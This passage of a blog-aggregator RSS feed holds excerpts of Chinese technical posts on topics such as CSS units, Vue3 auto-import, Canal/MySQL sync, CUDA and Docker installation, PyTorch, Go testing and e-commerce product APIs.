      <description>公共参数&#xA;请求地址: https://api-gw.onebound.cn/pinduoduo/item_get_app&#xA;名称类型必须描述keyString是调用key（必须以GET方式拼接在URL中）secretString是调用密钥api_nameString是API接口名称（包括在请求地址中）[item_search,item_get,item_search_shop等]cacheString否[yes,no]默认yes，将调用缓存的数据，速度比较快result_typeString否[json,jsonu,xml,serialize,var_export]返回数据格式，默认为json，jsonu输出的内容中文可以直接阅读langString否[cn,en,ru]翻译语言，默认cn简体中文versionString否API版本 请求参数&#xA;请求参数：keyword=海澜之家&amp;amp;q=&amp;amp;num_iids=&amp;amp;start_price=&amp;amp;end_price=&amp;amp;seller=&amp;amp;page=1&amp;amp;cat=0&amp;amp;sort=&amp;amp;page_size=&#xA;参数说明：keyword:关键字【必须】&#xA;响应参数&#xA;Version: Date:&#xA;名称类型必须示例值描述 title&#xA;String02019新款女装短袖t恤女夏宽松韩版休闲上衣百搭蝙蝠衫五分袖体恤商品标题 pic_url&#xA;String0https://t00img.yangkeduo.com/t03img/images/2018-06-28/acba82293a8db850110c5043ea7d9824.jpeg宝贝图片 price&#xA;Float020.9价格 sales&#xA;Int014830销量 num_iid&#xA;Bigint01999629976宝贝ID sample_id&#xA;String0商品风格标识ID seller_nick&#xA;String0雅怡服饰1688掌柜昵称 post_fee&#xA;Float0物流费用 area&#xA;String0店铺所在地 detail_url&#xA;String0http://yangkeduo.com/goods.html?goods_id=1999629976宝贝链接 响应示例&#xA;{ &#34;item&#34;: { &#34;SourceType&#34;: 6, &#34;OfferId&#34;: 1620002566, &#34;CategoryId&#34;: 8484, &#34;Subject&#34;: &#34;【2件套】套装秋冬新款仿獭兔毛钉珠皮草毛毛短外套加厚大衣女装&#34;, &#34;ImageUrls&#34;: [ &#34;https://omsproductionimg.yangkeduo.com/images/2017-12-12/bcf848aa71c6389607ae7a84b70f1543.jpeg&#34;, &#34;https://omsproductionimg.yangkeduo.com/images/2017-12-12/176019babfdecffa1d9f98f40b7e99b4.jpeg&#34;, &#34;https://omsproductionimg.yangkeduo.com/images/2017-12-12/efb5db42397550bffd3211ca6f197498.jpeg&#34;, &#34;https://omsproductionimg.yangkeduo.com/images/2017-12-12/d209ef7bcc9183c3bb8ca1dfdb108d49.jpeg&#34;, &#34;https://omsproductionimg.yangkeduo.com/images/2017-12-12/74257ab65f3f00da7a90fde9042fe640.jpeg&#34;, &#34;https://t00img.yangkeduo.com/goods/images/2019-08-17/e8fbd9cb-cc74-4caa-9380-84c46d27b008.jpg&#34;, &#34;https://t00img.yangkeduo.com/goods/images/2019-08-17/d76f515b-e375-4060-b94e-cf64f6b0964e.jpg&#34;, &#34;https://t00img.yangkeduo.com/goods/images/2019-08-17/f2f279b5-6000-4fbe-b99b-7c1cbd7884ea.jpg&#34; ], &#34;SkuProps&#34;: [ { &#34;IsImg&#34;: true, &#34;Prop&#34;: &#34;颜色&#34;, &#34;Value&#34;: [ { &#34;name&#34;: &#34;粉色两件套(外套+裙子)&#34;, &#34;value&#34;: &#34;1215:1115500378&#34;, &#34;imageUrl&#34;: &#34;</description>
    </item>
    <item>
      <title>前端不同尺寸单位的区别和使用</title>
      <link>https://bchobby.github.io/posts/234786230524f28e7f50aa0364dad2cd/</link>
      <pubDate>Mon, 14 Nov 2022 10:54:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/234786230524f28e7f50aa0364dad2cd/</guid>
      <description>前言 一直搞不懂pc端、移动端、小程序、不同设备适配 要使用不同的单位表示不理解，今天，我就磕到底整明白它！&#xA;以下内容来自于作者：茧君&#xA;前端常见的尺寸单位 常见单位有：px、rpx、em、rem、%、vw、vh、vm&#xA;一、px px是像素单位，是指设备或图片中最小的一个点，它是一种相对长度，是相对于显示器屏幕分辨率而言的。不同的设备在大小宽高相同时，它们的物理像素大小也可能是不同的，物理像素越高的设备单位面积内存放的像素点就高，因此画面看起来更精细。通常情况下在pc端，css的px就接近于实际像素大小，但是在移动设备上，根据不同机型的分辨率大小，css中的一个px可能就会对应不同数量的物理像素点。&#xA;特点：网页设计的常用单位，也是基本单位，用px可以固定设置布局或元素的大小。&#xA;缺点：没有弹性，大小死板，使用多端的页面上时，无法做到适应效果，如果从pc端切向移动端时样式会乱掉，纯pc端不会出现这样的问题。&#xA;二、% %百分比 顾名思义百分比的单位&#xA;%一般是相对于父元素为基础的，如给一个元素margin-left为百分比，它会去寻找该元素的父元素以百分比形式计算，但也有几点例外，如：&#xA;对于position：absolute就是相对于已经定位的父亲&#xA;对于position：fixed就是对于ViewPort（视图）&#xA;对于transform2D水平移动变化来说就是相对于自身&#xA;三、vh vh是css3新增单位view height的缩写&#xA;vh指的是视图高度，vh类似于一种百分比的单位，他相对于视图的高度，将视图的高度分为100份，10vh也就是占用视图的10%&#xA;举例：900px高度的视窗 1vh=9px&#xA;四、vw vw是css3新增单位view width的缩写，vw指的是视图宽度，和vh类似&#xA;五、vm vm是css3新增单位，vm是在视图中选取 宽度和高度最小的那一个，然后像vw、vh一样将其分为100等份&#xA;举例：1200px宽 900px高 的视图就是 1vm=9px&#xA;六、em em相对长度单位&#xA;em是相对于字体大小来计算的一个尺寸，他是字体大小的倍数、如em相对的字体大小为16px，那么1rem = 16px&#xA;使用em单位的元素如果自身设置了字体大小，那么就相对于自身计算，如果自身没有设置字体大小那么就会继承父元素的字体大小，如果父元素没有设置，就会依次向上寻找（因为字体大小是会被继承的），如果页面中没有设置字体大小，那么就会以浏览器的默认字体大小16px为基准&#xA;七、rem rem css3新增相对长度单位&#xA;rem和em类似都是相对长度单位，但是rem只会相对于html根元素的字体大小，也就是说如果根元素字体设置为18px，那么全局内rem的值换算都为1rem = 18px&#xA;补充：&#xA;rem在制作响应式页面中经常使用到，因为我们可以根据不同的设备尺寸，去动态的调整根元素的大小，使用rem单位达到适配不同尺寸设备的效果，有些自适应的页面框架单位上的使用就是基于此种特性有时我们为了换算方便会将根元素的字体大小先设置为62.5%，然后根据需要进行调整，原因是62.5%*16px = 10px，此时也就是1rem = 10px 八、 rpx(upx) rpx 响应式px单位&#xA;由小程序最先提出的响应式px单位，为了解决px在移动端上不同的机型极容易出现的变形问题&#xA;以uniapp对rpx的实现为例子：&#xA;uniapp规定屏幕的基准宽度为750rpx,开发者可以自己通过设计稿的基准宽度来计算页面的rpx值具体等于多少px&#xA;公式如下：&#xA;设计稿 1px / 设计稿基准宽度 = 框架样式1rpx / 750 rpx 复制代码 也就是说 使用rpx单位元素的大小的计算公式为</description>
    </item>
    <item>
      <title>sklearn下载数据集时的HTTPError: HTTP Error 403: Forbidden（已解决）</title>
      <link>https://bchobby.github.io/posts/720084b8122ea11b504e7fb8ee8142e4/</link>
      <pubDate>Mon, 14 Nov 2022 10:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/720084b8122ea11b504e7fb8ee8142e4/</guid>
      <description>目录&#xA;问题如下：&#xA;尝试1：重建dns缓存&#xA;无奈的解决方式：&#xA;问题如下： 尝试1：重建dns缓存 对于一些常规的403 forbidden错误，马海祥建议大家首先要尝试的就是重建dns缓存，在运行中输入cmd，然后输入ipconfig /flushdns即可。如果不行的话，就需要在hosts文件里把主页解析一下了。&#xA;导致403错误的原因和解决方法 - 知乎 (zhihu.com)&#xA;再运行仍然报此错。&#xA;无奈的解决方式： 离线下载数据集。&#xA;链接：https://pan.baidu.com/s/19GHJjfGlWD-zfoxYDd4VuA 提取码：2022&#xA;将下载好的文件解压到如下文件夹中：&#xA;sklearn导入人脸图片fetch_lfw_people出错如何解决？ - 知乎 (zhihu.com)</description>
    </item>
    <item>
      <title>vue3的unplugin-auto-import自动引入</title>
      <link>https://bchobby.github.io/posts/c21f7f7ef4cac99314400341f85c901e/</link>
      <pubDate>Mon, 14 Nov 2022 10:02:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c21f7f7ef4cac99314400341f85c901e/</guid>
      <description> vue3日常项目中定义变量需要引入ref,reactive等等比较麻烦，可以通过unplugin-auto-import给我们自动引入&#xA;1、安装&#xA;npm i -D unplugin-auto-import&#xA;2、在vite.config.ts中引入&#xA;import AutoImport from &#39;unplugin-auto-import/vite&#39;&#xA;并在plugins中配置：&#xA;export default defineConfig({&#xA;plugins: [&#xA;......&#xA;AutoImport({ imports: [&#39;vue&#39;],&#xA;dts: &#39;src/auto-import.d.ts&#39;,&#xA;})&#xA;]&#xA;}）&#xA;AutoImport中可以有很多配置项，可以到github中看详细配置：&#xA;GitHub - antfu/unplugin-auto-import: Auto import APIs on-demand for Vite, Webpack and Rollup&#xA;注：dts是帮我们生成的类型声明文件，直接使用会找不到&#xA;上面配置完毕后会在src目录下生成一个auto-import.d.ts文件，里面帮我们自动引入vue相关内容，我们可以在项目中直接使用。&#xA;注意：上面配置完毕dts后可能并不会自动生成auto-import.d.ts文件，可以重新运行一下项目，或者关闭编辑器重新打开运行即可。&#xA;使用如下：&#xA;&amp;lt;script setup lang=&#34;ts&#34;&amp;gt; // 这里我们不用引入ref直接使用 const msg = ref&amp;lt;string&amp;gt;(&#39;Hello Vue3&#39;) &amp;lt;/script&amp;gt; &amp;lt;template&amp;gt; {{ msg }} &amp;lt;/template&amp;gt; &amp;lt;style scoped lang=&#34;scss&#34;&amp;gt;&amp;lt;/style&amp;gt; </description>
    </item>
    <item>
      <title>canal环境搭建及出现问题解决</title>
      <link>https://bchobby.github.io/posts/e631b7f308735faf107bb2ffe0538058/</link>
      <pubDate>Mon, 14 Nov 2022 08:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e631b7f308735faf107bb2ffe0538058/</guid>
      <description>一、canal作用 1.canal介绍&#xA;Canal 是阿里开源的一个项目，官方主页：https://github.com/alibaba/canal。&#xA;它通过模拟 MySOL 主从复制的交互协议，把自己伪装成一个 MySOL 的从节&#xA;点，向 MySOL 主节点发送 dump 请求。MySOL 收到请求后，就会向 Canal 开始&#xA;推送 Binlog，Canal 解析 Binlog 字节流之后，将其转换为便于读取的结构化数据，&#xA;供下游程序订阅使用&#xA;项目中使用canal一般希望借助canal实现mysql数据库的同步（比如将mysql中的数据更新redis保证缓存和数据库数据的一致性）&#xA;二、环境搭建 安装环境：操作系统 Windows10，MySQL 8.0.19，canal1.1.6.&#xA;因为canal是模拟mysql的从节点工作，所以先安装mysql，并且让mysql按照主从节点的主节点配置就可以。&#xA;1.配置mysql&#xA;1.1 先开启binlog写入功能&#xA;show variables like &#34;%log_bin%&#34; 1.2 配置 binlog-format 为 ROW 模式&#xA;show variables like &#34;%binlog_format%&#34;; 1.3 mysql的server_id&#xA;show variables like &#34;%server_id%&#34;; 如果本机的 MySQL 的配置与上述不符合，可以修改 MySQL 的配置文件并重&#xA;启 MySQL，一般来说是 my.ini,如果自己不清楚放在哪里可以直接在电脑上搜索一下。&#xA;2.配置canal同步账号密码&#xA;2.1既然是将 Canal 模拟 MySQL 从节点，自然还要给 Canal 设置一个用来复制数&#xA;据的 MySQL 账号，我们这里设定这个用户名为 canal，密码 canal</description>
    </item>
    <item>
      <title>CentOS7中没有网络图标</title>
      <link>https://bchobby.github.io/posts/a27155b203ef1d70bdd31eb684e276eb/</link>
      <pubDate>Sun, 13 Nov 2022 23:57:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a27155b203ef1d70bdd31eb684e276eb/</guid>
      <description>CentOS7中没有网络图标===&amp;gt;先修改NetworkManager的目录名 mv /var/lib/NetworkManager /var/lib/NetworkManager.bak&#xA;先配置静态IP chkconfig network off&#xA;chkconfig network on&#xA;先停掉NetworkManager systemctl stop NetworkManager&#xA;systemctl disable NetworkManager&#xA;#再启动NetworkManager&#xA;systemctl start NetworkManager&#xA;再重启network service network restart&#xA;测试ping百度 ping www.baidu.com</description>
    </item>
    <item>
      <title>do while(0)的作用以及原因</title>
      <link>https://bchobby.github.io/posts/ba837dfa9feea6a8dad566fc17286e6f/</link>
      <pubDate>Sun, 13 Nov 2022 21:57:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba837dfa9feea6a8dad566fc17286e6f/</guid>
      <description>在C++中，do...while 通常是用来做循环用的，然而我们做循环操作可能用for和while要多一些。经常看到一些开源代码会出现do...while(0)这样的代码，这样的代码看上去肯定不是用来做循环的，那为什么要这样用呢？&#xA;实际上do...while(0)的作用远大于美化代码，现总结起来主要有以下几个作用：&#xA;辅助定义复杂的宏，避免引用的时候出错，提高代码健壮性&#xA;假设你需要定义一个这样的宏：&#xA;#define DOSOMETHING()\ func1();\ func2(); 这个宏的本意是，当调用DOSOMETHING()时，函数func1()和func2()都会被调用。但是如果你在调用的时候这么写：&#xA;if(a&amp;gt;0) DOSOMETHING(); 因为宏在预处理的时候会直接被展开，你实际上写的代码是这个样子的：&#xA;if(a&amp;gt;0) func1(); func2(); 这就出现了问题，因为无论a是否大于0，func2()都会被执行，导致程序出错。&#xA;那么仅仅使用{}将func1()和func2()包起来行么？&#xA;我们在写代码的时候都习惯在语句右面加上分号，如果在宏中使用{}，代码里就相当于这样写了：“{...};”，假如有以下代码：&#xA;#define DOSOMETHING(){\ func1();\ func2();} ... if(a&amp;gt;0) DOSOMETHING(); else ... ... 展开后就是这个样子:&#xA;if(a&amp;gt;0) { func1(); func2(); }; else ... 这样是不会编译通过。所以，很多人才采用了do{...}while(0);&#xA;#define DOSOMETHING() \ do{ \ func1();\ func2();\ }while(0)\ ... if(a&amp;gt;0) DOSOMETHING(); else ... ... 消除分支语句或者goto语句，提高代码的易读性&#xA;如果在一个函数中开始要分配一些资源，然后在中途执行过程中如果遇到错误则退出函数，当然，退出前先释放资源，我们的代码可能是这样：&#xA;bool Execute() { // 分配资源 int *p = new int; bool bOk(true); // 执行并进行错误处理 bOk = func1(); if(!</description>
    </item>
    <item>
      <title>【CUDA】Ubuntu系统如何安装CUDA保姆级教程(2022年最新)</title>
      <link>https://bchobby.github.io/posts/ad03ef7b64a1601cdc19c1fe065d90f2/</link>
      <pubDate>Sun, 13 Nov 2022 21:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad03ef7b64a1601cdc19c1fe065d90f2/</guid>
      <description>本期目录 Linux安装CUDA Linux安装CUDA 输入以下命令，查看 GPU 支持的最高 CUDA 版本。笔者这里显示的是 11.6 ，这意味着，安装的 CUDA 版本必须 &amp;lt;= 11.6 。&#xA;nvidia-smi 前往 Nvidia 的 CUDA 官网：CUDA Toolkit Archive | NVIDIA Developer ，笔者下载 CUDA 11.6.2 版本：&#xA;如下图选择：&#xA;选择好后，下方会显示两条 Linux 命令。在 Linux 终端输入这条命令：&#xA;$ wget https://developer.download.nvidia.com/compute/cuda/11.6.2/local_installers/cuda_11.6.2_510.47.03_linux.run 这里笔者的服务器无法翻墙，直接在服务器上下载会超时。所以直接复制下载地址，先在 Windows 系统下下载好，再上传到 /root/ 目录下。&#xA;https://developer.download.nvidia.com/compute/cuda/11.6.2/local_installers/cuda_11.6.2_510.47.03_linux.run 这里由于笔者没有 root 权限，无法上传到 /root/ 目录下。因此将此安装包上传至 /home/og/xxx 自己的工作目录下。输入以下命令：&#xA;$ sudo sh cuda_11.6.2_510.47.03_linux.run 弹出来第一个选择框，笔者这台服务器已经安装过 Nvidia 的显卡驱动了，因此选择 “continute” ，会出现下面这个对话框，选择 “accept” 。&#xA;笔者服务器已经安装过 Nvidia 显卡驱动了，因此不需要再安装了。如果你尚未安装驱动，可以顺便一起安装了。摁一下空格取消 Driver 安装，直接选择 Install 安装：</description>
    </item>
    <item>
      <title>【Go语言入门教程】单元测试时同一个包下不同文件函数调用报错为 `undefined`</title>
      <link>https://bchobby.github.io/posts/2b0652d842249b331570bfcec6458283/</link>
      <pubDate>Sun, 13 Nov 2022 20:35:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b0652d842249b331570bfcec6458283/</guid>
      <description>本期目录 单元测试时同一个包下不同文件函数调用报错为 `undefined` 的问题1. 背景知识2. 问题描述3. 原因4. 解决方法一：关闭GOPATH，使用go mod4.1 设置GO111MODULE4.2 清空所有GOPATH4.3 在新项目中创建go mod4.4 执行单元测试 5. 解决方法二：坚持GOPATH模式，改变测试命令 单元测试时同一个包下不同文件函数调用报错为 undefined 的问题 1. 背景知识 在 Terminal 终端命令行中，使用 go test 指令执行单元测试，所有以 _test.go 结尾的代码内以 Test 开头的函数会自动被执行。&#xA;go test -v hello_test.go 其中，-v 可以让测试时显示详细的流程信息。&#xA;2. 问题描述 单元测试的目录结构如下图所示：&#xA;① hello.go 代码：&#xA;package hello func Hello() string { return &#34;Hello, world.&#34; } ② hello_test.go 代码：&#xA;package hello import &#34;testing&#34; func TestHello(t *testing.T) { want := &#34;Hello, world.&#34; if got := Hello(); got !</description>
    </item>
    <item>
      <title>【PyTorch教程】04-详解torchvision 0.13中的预训练模型加载的更新及报错的解决方法 (2022年最新)</title>
      <link>https://bchobby.github.io/posts/fd6d227ee645caaf836665bdc1f46de1/</link>
      <pubDate>Sun, 13 Nov 2022 20:32:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd6d227ee645caaf836665bdc1f46de1/</guid>
      <description>本期目录 加载预训练模型(有重大更新)1. 新老版本写法对比2. 新写法的好处 加载预训练模型(有重大更新) 相信最近 (2022年7月) 安装或者更新了 PyTorch 和 torchvision 的同志们可能跑代码时遇到了下面的报错之一：&#xA;UserWarning: The parameter ‘pretrained’ is deprecated since 0.13 and will be removed in 0.15, please use ‘weights’ instead.&#xA;UserWarning: Arguments other than a weight enum or None for ‘weights’ are deprecated since 0.13 and will be removed in 0.15. The current behavior is equivalent to passing weights=ResNet50_Weights.IMAGENET1K_V1. You can also use weights=ResNet50_Weights.DEFAULT to get the most up-to-date weights.</description>
    </item>
    <item>
      <title>Python &#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte</title>
      <link>https://bchobby.github.io/posts/43244f47455771974c48d1c0cb0c1557/</link>
      <pubDate>Sun, 13 Nov 2022 17:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43244f47455771974c48d1c0cb0c1557/</guid>
      <description>案例一：&#xA;```py&#xA;使用 urllib import urllib.request&#xA;使用 json import json&#xA;定义 header headers = { # &#39;Accept&#39;: &#39;/&#39;,&#xA;# 因为有 Accept-Encoding 这行会报错：&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte # &#39;Accept-Encoding&#39;: &#39;gzip, deflate, br&#39;, # 在写爬虫的时候这一句话一定要注释掉，因为接受编码格式没有 utf-8&#xA;# &#39;Accept-Language&#39;: &#39;zh-CN,zh;q=0.9&#39;, # &#39;Acs-Token&#39;: &#39;16683230096471668329342293ts2LNTmAMNu8bz6UcQlmajMjkFeD7EM7TNicuMqP14qLPx6R8FOs/pHR9jGpORyVc3jkLtMD7dh7/9XDK7+b5SqO0f2bzrYB1DzNkaXGMwkcPyDo9cygYroE1pFoncx4VbCQu/ieJyUK+TbYU4atAB/XCth4Lc8zNYRCQuOtbLb2zJ9RX1Jj7krqZIfNr14muZP1N5+rq7cjPbnBgvf5V6m03XLliDp4ueln/xS/qSQVL3XiWSOpemYY9gD9UHaUVPGIi4Q6uIT/05yCxxhd4kJCfeRys/AiOLQ+nbNaXUGoyTBZg90HLn6A9NTb5HAF&#39;, # &#39;Connection&#39;: &#39;keep-alive&#39;, # &#39;Content-Length&#39;: &#39;135&#39;, # &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded; charset=UTF-8&#39;,&#xA;# 防爬方式的一种，验证 Cookie &#39;Cookie&#39;: &#39;换成自己百度账号的 Cookie&#39;,&#xA;# &#39;Host&#39;: &#39;fanyi.baidu.com&#39;, # &#39;Origin&#39;: &#39;https://fanyi.baidu.com&#39;, # &#39;Referer&#39;: &#39;https://fanyi.</description>
    </item>
    <item>
      <title>【CentOS8安装docker】</title>
      <link>https://bchobby.github.io/posts/cdfc8ffb7d6fb287d0a1b26c5fcb40c4/</link>
      <pubDate>Sun, 13 Nov 2022 16:24:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdfc8ffb7d6fb287d0a1b26c5fcb40c4/</guid>
      <description>CentOS8安装docker 文章目录 一、更新yum&#xA;二、卸载旧版本&#xA;三、安装 Docker Engine-Community(使用 Docker 仓库进行安装)&#xA;四、安装成功后需重启docker 五、卸载 docker&#xA;六、注意&#xA;七、***安装特定版本的 Docker Engine-Community***&#xA;有多个 Docker 仓库吗？&#xA;前言 您可以根据需要以不同的方式安装 Docker 引擎：&#xA;大多数用户设置Docker的存储库并从中安装，以便于安装和升级任务。这是推荐的方法。&#xA;一些用户下载 RPM 软件包并手动安装，并完全手动管理升级。这在无法访问互联网的气隙系统上安装 Docker 等情况下很有用。&#xA;在测试和开发环境中，一些用户选择使用自动化的便利脚本来安装 Docker。&#xA;本文介绍安装方法为使用存储库安装。&#xA;在新主机上首次安装 Docker 引擎之前，您需要设置 Docker 存储库。之后，您可以从存储库安装和更新 Docker。&#xA;一、更新yum yum -y update 二、卸载旧版本 较旧的 Docker 版本称为 docker 或 docker-engine 。如果已安装这些程序，请卸载它们以及相关的依赖项。&#xA;sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine 三、安装 Docker Engine-Community(使用 Docker 仓库进行安装) 在新主机上首次安装 Docker Engine-Community 之前，需要设置 Docker 仓库。之后，您可以从仓库安装和更新 Docker。</description>
    </item>
    <item>
      <title>PyTorch 训练过程中，冻结某些层的方法</title>
      <link>https://bchobby.github.io/posts/5ad90fe7ddd9ff7d4c5321fcbe9a3803/</link>
      <pubDate>Sun, 13 Nov 2022 16:23:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ad90fe7ddd9ff7d4c5321fcbe9a3803/</guid>
      <description>前言 深度学习训练自己的数据集时，由于计算资源，训练耗时等原因，通常我们站在巨人的肩膀上（迁移学习方式），来进行自己的数据训练。 在迁移学习的过程中，通常有两种方式： 1.直接使用预训练模型，重头到尾进行参数更新；&#x9;2.首先，冻结预训练模型某些层的参数，进行初次训练，保存最好的模型结果best，然后，利用加载best与unfreeze某些层的参数， 再次训练更新权重参数，最后，保存结果最好的模型。 具体选择哪种迁移学习方式，根据自己的数据集与训练初始化权重的数据集相似程度而定。以下我们主要讲解冻结某些网络层的三种方法。 冻结方法 1. require_grad=False def freeze(model): for param in model.parameters(): param.requires_grad = False a. 冻结某一层参数&#xA;import torch import torch.nn as nn #lenet class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d(1, 6, 5) self.conv2 = nn.Conv2d(6, 16, 5) freeze(self.conv2) # 冻结self.conv2层 self.fc1 = nn.Linear(16 * 4 * 4, 120) self.fc2 = nn.Linear(120, 84) # print(self) self.fc3 = nn.Linear(84, 10) b. 如果是冻结某一层上面所有层（传self）&#xA;import torch import torch.</description>
    </item>
    <item>
      <title>Dependency ‘org.springframework.cloud:spring-cloud-starter-gateway:‘ not found</title>
      <link>https://bchobby.github.io/posts/91fe2770066e40da1b2c087a2d111041/</link>
      <pubDate>Sun, 13 Nov 2022 15:30:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91fe2770066e40da1b2c087a2d111041/</guid>
      <description>在创建网关模块时，&#xA;根本原因在于没有将此模块作为maven工程，选择对应模块，右击make directory as 作为source root即可</description>
    </item>
    <item>
      <title>在Ubuntu系统下安装配置SeaDas与问题解决方法总结</title>
      <link>https://bchobby.github.io/posts/50c198ca471f9427aa36ff2a3cea4d9f/</link>
      <pubDate>Sun, 13 Nov 2022 14:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50c198ca471f9427aa36ff2a3cea4d9f/</guid>
      <description>目录 1.前言&#xA;2.Python环境及Java环境配置&#xA;3.SeaDAS的安装&#xA;4.OCSSW的安装&#xA;建了一个QQ群，大家可以在里边聊聊水色遥感数据下载和数据处理方面的事情：1087024529&#xA;不想自己在Ubuntu里安装SeaDAS，那就加群吧！！&#xA;1.前言 最近在学习水色遥感数据处理软件SeaDAS的使用，而SeaDAS中的OCSSW工具（包含大气校正等模块）目前只能运行在Linux或者MacOS系统下。因此我选择了在Ubuntu系统下安装和配置SeaDAS以及OCSSW。在按照官方文档安装的过程中，遇见了很多坑，所以在此总结。希望各位小伙伴在安装的时候可以避开我遇见的问题。&#xA;我采用的方法是在VirtualBox中的Ubuntu 18.04系统下安装SeaDAS。大家可以在网上找相应的博客，如何在VirtualBoX中安装Ubuntu。这里默认Ubuntu刚安装完成。&#xA;SeaDAS的安装包下载地址：&#xA;https://seadas.gsfc.nasa.gov/downloads/&#xA;SeaDAS的官方安装文档如下：&#xA;https://seadas.gsfc.nasa.gov/tutorials/installation_tutorial/&#xA;不用再被别人骗积分了！&#xA;首先说明我的配置：&#xA;VirtualBoX:6.1.12 Ubuntu:18.04 SeaDAS:seadas_7.5.3_linux64_installer.sh 2.Python环境及Java环境配置 SeaDAS和OCSSW的安装和使用是需要Python和Java环境的，所以在安装好Ubuntu后，我首先进行了Python和Java的环境配置。&#xA;2.1.Python环境配置 Ubuntu安装完成后，系统内自带Python环境。但在终端中输入Python时，可能会提示没有Python。因此这需要进行配置，使得系统能够识别Python命令。&#xA;注：刚安装好的Ubuntu系统，能够识别Python3命令，但是在安装OCSSW的时候，它只调用Python命令，不进行配置将会出错。&#xA;在终端中输入：&#xA;sudo apt install python sudo apt install python-pip 这时安装的是python2.7，在终端中输入Python命令，会显示python2的版本。python2的支持已经结束，因此这里使用3.x的Python，将Python命令指向Python3。&#xA;sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.6 2 这时，在终端中输入python，将会显示是3.6版本。&#xA;之后安装pip3。&#xA;sudo apt install python3-pip 在安装OCSSW工具时，可能需要requests库，这里一并进行安装：&#xA;pip install requests 这里的配置可能比较啰嗦，主要的目的是让系统能够识别Python命令(不能是Python3)。大家如果有简单的方法也可以使用。&#xA;2.2.Java环境的配置 关于Java环境的配置，这是问题比较大的一步。以下说明我遇到的问题及解决方案。&#xA;步骤a-b是遇到的一些问题，想看成功的配置方法请直接忽略a-b步骤：&#xA;a.SeaDAS官方给出了Java的安装步骤：&#xA;sudo add-apt-repository ppa:webupd8team/java sudo apt-get update sudo apt-get install oracle-java8-installer 当执行到这里时，系统会报出错误：&#xA;没有可用的软件包 oracle-java8-installer，但是它被其它的软件包引用了。</description>
    </item>
    <item>
      <title>bazel安装</title>
      <link>https://bchobby.github.io/posts/b2517e471cee29b63891e5c0cac830f5/</link>
      <pubDate>Sun, 13 Nov 2022 14:20:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2517e471cee29b63891e5c0cac830f5/</guid>
      <description> 环境 以centos为例&#xA;安装步骤 # 安装g++, git sudo yum install gcc gcc-c++ gdb git # 下载对应版本的bazelisk, 并且安装 # 在https://github.com/bazelbuild/bazelisk中找对应的版本, 然后加到PATH中 wget https://github.com/bazelbuild/bazelisk/releases/download/v1.15.0/bazelisk-linux-amd64 chmod +x bazelisk-linux-amd64 ln -s $(pwd)/bazelisk-linux-amd64 ~/bin/bazel # 测试bazel bazel --version 参考 bazelbazeliskCentOS 7 安装gcc、g++、gdb教程bazel 根据.proto文件生成.h、.cc文件 </description>
    </item>
    <item>
      <title>简单介绍API分类接口</title>
      <link>https://bchobby.github.io/posts/61250443a26d3a5bb39f78cf2bf9f1df/</link>
      <pubDate>Sun, 13 Nov 2022 09:00:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61250443a26d3a5bb39f78cf2bf9f1df/</guid>
      <description>API其实就是一类服务的封装。我们可以使用不同的编程语言编写API，开发习惯和编程语言的不同导致API风格也存在差异。常见的API有以下几种形式：&#xA;1、HTTP类型接口&#xA;基于HTTP协议提供的API，这类API常常以“网址”形式提供的，像现在主流的RESTful就属于这类接口。&#xA;2、RPC接口&#xA;RPC它是指远程过程调用，将一部分代码逻辑放在远程服务器上部署，然后在需要的地方调用即可（调用远程方法就像调用本地方法一样），本质上是Client/Server模式，而且支持多种协议和数据传输方式。&#xA;3、Web Service 接口&#xA;Web Service并不具象地指某种API，我们将以WEB形式提供的服务都称之为Web Service，像RESTful也属于Web Service。 4、目前支持以下基本接口&#xA;item_get 获得淘宝商品详情item_get_pro 获得淘宝商品详情高级版item_review 获得淘宝商品评论item_fee 获得淘宝商品快递费用item_password 获得淘口令真实urlitem_list_updown 批量获得淘宝商品上下架时间seller_info 获得淘宝店铺详情item_search 按关键字搜索淘宝商品item_search_tmall 按关键字搜索天猫商品item_search_img 按图搜索淘宝商品（拍立淘）item_search_shop 获得店铺的所有商品item_search_seller 搜索店铺列表item_search_guang 爱逛街item_search_suggest 获得搜索词推荐item_search_jupage 天天特价item_search_coupon 优惠券查询cat_get 获得淘宝分类详情item_cat_get 获得淘宝商品类目item_search_similar 搜索相似的商品item_sku 获取sku详细信息item_recommend 获取推荐商品列表custom 自定义API操作buyer_cart_add 添加到购物车buyer_cart_remove 删除购物车商品buyer_cart_clear 清空购物车buyer_cart_list 获取购物车的商品列表buyer_cart_order 将购物车商品保存为订单buyer_order_list 获取购买到的商品订单列表buyer_order_detail 获取购买到的商品订单详情buyer_order_express 获取购买到的商品订单物流buyer_order_message 获取购买到的订单买家留言buyer_address_list 收货地址列表buyer_address_clear 清除收货地址buyer_address_remove 删除收货地址buyer_address_modify 修改收货地址buyer_address_add 添加收货地址buyer_info 买家信息buyer_token 买家tokenseller_order_list 获取卖出的商品订单列表seller_order_detail 获取卖出的商品订单详情seller_order_close 卖家关闭一笔交易seller_order_message 获取或修改卖出去的订单备注seller_auction_list 商品可上下架商品列表seller_auction 商品上下架seller_item_add 商品上传upload_img 上传图片到淘宝img2text 图片识别商品接口tbk_order_query 淘宝客订单查询item_list_weight 批量获取商品信息item_history_price 获取商品历史价格信息item_get_app 获得淘宝app商品详情原数据 5、代码展示&#xA;{ 